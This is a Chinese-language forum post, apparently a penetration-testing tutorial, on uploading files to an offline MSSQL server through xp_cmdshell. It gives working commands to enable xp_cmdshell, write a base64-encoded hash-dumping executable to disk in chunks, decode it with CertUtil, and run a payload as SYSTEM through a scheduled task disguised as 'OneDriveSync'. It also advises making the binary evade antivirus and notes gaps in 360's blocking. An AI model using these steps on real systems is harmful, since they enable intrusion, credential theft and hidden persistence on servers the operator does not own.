本帖最后由 gclome 于 2020-7-30 09:02 编辑
原文链接:脱网Mssql 如何传文件
0x01 实战场景说明
通过边界Web跳板机上的数据库配置文件,拿到内网指定Mssql sa密码,再借助代理连至该Mssql机器,启用xp_cmdshell可正常执行系统命令,且Mssql服务以system权限运行(未被降权),经简单摸查后发现此mssql机器 "脱网",其实类似的场景非常常见. 问题来了,在事先并不知道目标Mssql机器的系统管理账号密码,且3389,445,135,5985端口均未对外开放,也不想通过netsh去操作目标系统防火墙或者手动添加dns的情况下,再或者,有些弟兄可能会说直接在内网找个已控机起个ftp/chfs之类的,然后再用什么 powershell,CertUtil,bitsadmin,mshta,cscript...去远程拉 (注,一般情况下,如果cmd.exe都没拦,通常这些也不会拦),因为我们实际要传的文件可能并不会太大, 这样操作繁琐不说,也没有太大必要 总之,一句话,如何利用我们手里仅有的mssql权限传一些小文件到目标机器上去执行一些自动化的搜集操作,而不再单单只局限于执行几个命令而已,ok,关于 利用前提和场景,我想我应该已经说明白了,此处暂时不提clr(后续抽空单独说明), 一篇文章暂只解决一个实际问题不想掺杂太多,来看操作
0x02 实操过程
确认目标Mssql版本,启用xp_cmdshell ,可正常执行系统命令( 注,如果目标机器装有360套装,这样执行会被连续拦两次,一次 cmd.exe,一次wmic.exe, 因为xp_cmdshell默认会起cmd.exe来执行命令 ),2012r2标准版(默认无法直接抓明文),64位系统, 不出网
- select @@VERSION;
- exec sp_configure 'show advanced options', 1;reconfigure;
- exec sp_configure 'xp_cmdshell',1;reconfigure;
- exec master..xp_cmdshell 'ping www.baidu.com -n 5 -w 2 & wmic OS get Caption,CSDVersion,OSArchitecture,Version & whoami /user & query user & tasklist | findstr "360"';
复制代码
接着, 将我们要执行的exe先打成字节码,之后再base64下,exe就一个功能,抓hash,当然,实际中你也可以把它换成你想要执行的任何exe,别局限,大小尽量控制在1M以内
- # powershell -exec bypass
- PS > $PEBytes = [IO.File]::ReadAllBytes('pwd.exe');
- PS > $Base64String = [System.Convert]::ToBase64String($PEBytes);
- PS > $Base64String | Out-File -FilePath PwdDmp.txt
复制代码
众所周知,mssql执行单条sql时有长度限制,所以需要事先把上面的base64再稍微切割下, 此处是以250个字符为单位直接在线切割(省的再去写代码一段段截取了),切割站如下
- https://onlinestringtools.com/split-string
复制代码
切割完成后,分别在行首和行尾批量添加如下内容,目的很明确, 就是为了把上面的base64作为单独的一行分批写到目标mssql机器上的指定文件里
写入过程如下,部分语句已省略,实际要写入的sql条数完全取决于你的exe实际大小,这也是为什么前面说exe最好不要太大, 因为你可能需要连续调几千次cmd.exe, 确实不太好,之后再利用CertUtil把刚刚写进去的txt, 还原成 exe,正常执行即可,这也可能是整个文章最核心的一步, 实际上360并未拦截CertUtil的本地操作
- exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAA" <nul';
- exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="9ABecPh3NMD8QF5w8sZBgP6QXnD4dzeg/pBecPUmljaOgF" <nul';
- exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AACQCgBYAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWJ" <nul';
- exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAJAKAAACAAAA" <nul';
- exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" <nul';
- exec master..xp_cmdshell 'CertUtil -decode c:/users/public/vars.txt c:/users/public/vars.exe';
复制代码
还原成功之后,正常执行该exe抓hash,当然啦, 还有个非常重要的前提,就是你的这个exe务必要事先免杀好才行,不然很可能一还原就被干,更不要说执行了
如果目标Mssql机器能出网,没啥好说的,只需把相应的payload (可能也就十几二三十k的样子,不会太大)用刚刚的方式传过去,然后再用计划任务,系统服务或其它任何方式,把它起起来,说到这儿,多说一句, 不用太在乎落地的问题,即使主机侧没落地,流量如果没加密,也没漏审的情况下,里面还是一样非常清晰,某种程度上来讲,落地和不落地没有非常大的区别 ,故不用过于纠结于此
上了之后,立马把计划任务干掉用其它方式去维持 - exec master..xp_cmdshell 'CertUtil -decode c:/users/public/OneDriveSync.txt c:/users/public/OneDriveSync.exe';
- exec master..xp_cmdshell 'schtasks /create /RL HIGHEST /RU SYSTEM /F /tn "OneDriveSync" /tr "c:\*vars.exe" /sc DAILY /mo 1 /ST 09:25';
- exec master..xp_cmdshell 'schtasks /run /tn OneDriveSync';
- exec master..xp_cmdshell 'schtasks /delete /F /tn OneDriveSync';
复制代码
最后,用完记得顺手恢复 xp_cmdshell - exec sp_configure 'show advanced options', 1;reconfigure;
- exec sp_configure 'xp_cmdshell', 0;reconfigure;
- exec master..xp_cmdshell 'whoami';
复制代码
小结:
算是一种特殊环境下的文件传输方式,非常简单,不存在什么技术含量,之前的文章其实也有提到,只不过当时写的太差,掺杂了太多其它东西,看上去非常乱,弟兄们可能一时忽略了,甚至后来经常会有弟兄来问类似的问题,索性就重写了,废话不多讲,祝弟兄们好运,安
如果觉得确实还不错,也欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇到文中错误,也欢迎随时私信指正,非常感谢
|